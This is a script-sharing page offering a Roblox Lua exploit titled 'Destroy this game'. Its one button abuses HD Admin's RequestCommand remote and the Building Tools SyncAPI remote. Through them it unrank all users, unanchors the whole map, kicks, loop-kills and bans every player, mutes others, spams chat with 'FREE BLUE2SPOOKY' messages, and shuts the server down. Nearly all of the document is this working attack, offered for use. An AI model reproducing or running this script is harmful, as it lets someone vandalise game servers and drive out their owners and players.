Destroy this game
Key RequiredUniversal

Destroy this game

Universal ScriptBlue2spookysBlue2spookys 2.8K views 57 executesUpdated Jul 6, 2025
Unrated
00
Lua Script•1056 lines (35213 chars)
local player = game.Players.LocalPlayer
local replicatedStorage = game:GetService("ReplicatedStorage")
 

local screenGui = Instance.new("ScreenGui")
screenGui.Name = "FUICK U SKID!!!11"
screenGui.Parent = player:WaitForChild("PlayerGui")
screenGui.ResetOnSpawn = false  
 

local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 0, 0, 0) 
mainFrame.Position = UDim2.new(1, -300, 0.5, -225)
mainFrame.BackgroundColor3 = Color3.new(0, 0, 0)
mainFrame.BorderSizePixel = 0
mainFrame.BorderColor3 = Color3.new(0, 0, 1) 
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Parent = screenGui
 
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 200, 0, 100)
scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.1, 0) 
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Destroy server!"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 30 
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
 
scriptbyblue2spooky.MouseButton1Click:Connect(function()
    
    local ReplicatedStorage = game:GetService("ReplicatedStorage")
    local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
    
    RequestCommand:InvokeServer(";punish me")
    RequestCommand:InvokeServer(";unrank all")
    RequestCommand:InvokeServer(";fog inf")
    RequestCommand:InvokeServer(";fogcolor bk")
wait(1)

	RequestCommand:InvokeServer(";music 72089843969979")
	RequestCommand:InvokeServer(";pitch 0.19")
	RequestCommand:InvokeServer(";volume inf")


    RequestCommand:InvokeServer(";btools me")
wait(1)

		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end

		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = workspace.Part
				},
				[3] = stringg
			}

			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)

		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end

		function Unanchor()
			for i,v in game.Workspace:GetDescendants() do
				spawn(function()
					SetLocked(v,false)
					SetAnchor(false,v)
				end)
			end
		end
		Unanchor()
wait(1)
    RequestCommand:InvokeServer(";savemap")
    local player = game.Players.LocalPlayer
    local char = player.Character
    local tool
    for i,v in player:GetDescendants() do
        if v.Name == "SyncAPI" then
            tool = v.Parent
        end
    end
    for i,v in game.ReplicatedStorage:GetDescendants() do
        if v.Name == "SyncAPI" then
            tool = v.Parent
        end
    end
    --craaa
    remote = tool.SyncAPI.ServerEndpoint
    function _(args)
        remote:InvokeServer(unpack(args))
    end
    function SetCollision(part,boolean)
        local args = {
            [1] = "SyncCollision",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["CanCollide"] = boolean
                }
            }
        }
        _(args)
    end
    function SetAnchor(boolean,part)
        local args = {
            [1] = "SyncAnchor",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Anchored"] = boolean
                }
            }
        }
        _(args)
    end
    function CreatePart(cf,parent)
        local args = {
            [1] = "CreatePart",
            [2] = "Normal",
            [3] = cf,
            [4] = parent
        }
        _(args)
    end
    function DestroyPart(part)
        local args = {
            [1] = "Remove",
            [2] = {
                [1] = part
            }
        }
        _(args)
    end
    function MovePart(part,cf)
        local args = {
            [1] = "SyncMove",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["CFrame"] = cf
                }
            }
        }
        _(args)
    end
    function Resize(part,size,cf)
        local args = {
            [1] = "SyncResize",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["CFrame"] = cf,
                    ["Size"] = size
                }
            }
        }
        _(args)
    end
    function AddMesh(part)
        local args = {
            [1] = "CreateMeshes",
            [2] = {
                [1] = {
                    ["Part"] = part
                }
            }
        }
        _(args)
    end

    function SetMesh(part,meshid)
        local args = {
            [1] = "SyncMesh",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["MeshId"] = "rbxassetid://"..meshid
                }
            }
        }
        _(args)
    end
    function SetTexture(part, texid)
        local args = {
            [1] = "SyncMesh",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["TextureId"] = "rbxassetid://"..texid
                }
            }
        }
        _(args)
    end
    function SetName(part, stringg)
        local args = {
            [1] = "SetName",
            [2] = {
                [1] = part
            },
            [3] = stringg
        }

        _(args)
    end
    function MeshResize(part,size)
        local args = {
            [1] = "SyncMesh",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Scale"] = size
                }
            }
        }
        _(args)
    end
    function Weld(part1, part2,lead)
        local args = {
            [1] = "CreateWelds",
            [2] = {
                [1] = part1,
                [2] = part2
            },
            [3] = lead
        }
        _(args)

    end
    function SetLocked(part,boolean)
        local args = {
            [1] = "SetLocked",
            [2] = {
                [1] = part
            },
            [3] = boolean
        }
        _(args)
    end
    function SetTrans(part,int)
        local args = {
            [1] = "SyncMaterial",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Transparency"] = int
                }
            }
        }
        _(args)
    end
    function CreateSpotlight(part)
        local args = {
            [1] = "CreateLights",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["LightType"] = "SpotLight"
                }
            }
        }
        _(args)
    end
    function SyncLighting(part,brightness)
        local args = {
            [1] = "SyncLighting",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["LightType"] = "SpotLight",
                    ["Brightness"] = brightness
                }
            }
        }
        _(args)
    end
    function Color(part,color)
        local args = {
            [1] = "SyncColor",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Color"] = color --[[Color3]],
                    ["UnionColoring"] = false
                }
            }
        }
        _(args)
    end
    function SpawnDecal(part,side)
        local args = {
            [1] = "CreateTextures",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Face"] = side,
                    ["TextureType"] = "Decal"
                }
            }
        }

        _(args)
    end
    function AddDecal(part,asset,side)
        local args = {
            [1] = "SyncTexture",
            [2] = {
                [1] = {
                    ["Part"] = part,
                    ["Face"] = side,
                    ["TextureType"] = "Decal",
                    ["Texture"] = "rbxassetid://".. asset
                }
            }
        }
        _(args)
    end

    function Sky(id)
        e = char.HumanoidRootPart.CFrame.x
        f = char.HumanoidRootPart.CFrame.y
        g = char.HumanoidRootPart.CFrame.z
        CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
        for i,v in game.Workspace:GetDescendants() do
            if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
                --spawn(function()
                SetName(v,"Sky")
                AddMesh(v)
                --end)
                --spawn(function()
                SetMesh(v,"111891702759441")
                SetTexture(v,id)
                --end)
                MeshResize(v,Vector3.new(6000,6000,6000))
                SetLocked(v,true)
            end
        end
    end
    Sky("97432601751601")
    RequestCommand:InvokeServer(";mute others")
	RequestCommand:InvokeServer(";uncmdbar2 others")
    RequestCommand:InvokeServer(";savemap")
	wait(1)
	RequestCommand:InvokeServer(";sm FREE BLUE2SPOOKY HE AINT DO NOTHING WRONG")
    RequestCommand:InvokeServer(";loopfling all")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
	RequestCommand:InvokeServer(";systemmessage LOL!")
    RequestCommand:InvokeServer(";kick all LOL BLUE2SPOOKY RETURNS")
	RequestCommand:InvokeServer(";mute others")
	RequestCommand:InvokeServer(";uncmdbar2 others")
wait(4)

	RequestCommand:InvokeServer(";prank others noacc")
wait(3)
	RequestCommand:InvokeServer(";shutdown")
	RequestCommand:InvokeServer(";gfp 14277928233")
wait(3)
	RequestCommand:InvokeServer(";sm FREE BLUE2SPOOKY HE AINT DO NOTHING WRONG")
    RequestCommand:InvokeServer(";lasereyes others")
    RequestCommand:InvokeServer(";loopkill all")
    RequestCommand:InvokeServer(";n all BLUE2SPOOKY TEAM RUINED TS SERVER XD")
	RequestCommand:InvokeServer(";dban all")
    RequestCommand:InvokeServer(";unrank all")
	RequestCommand:InvokeServer(";n all LOL")
wait(1)
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
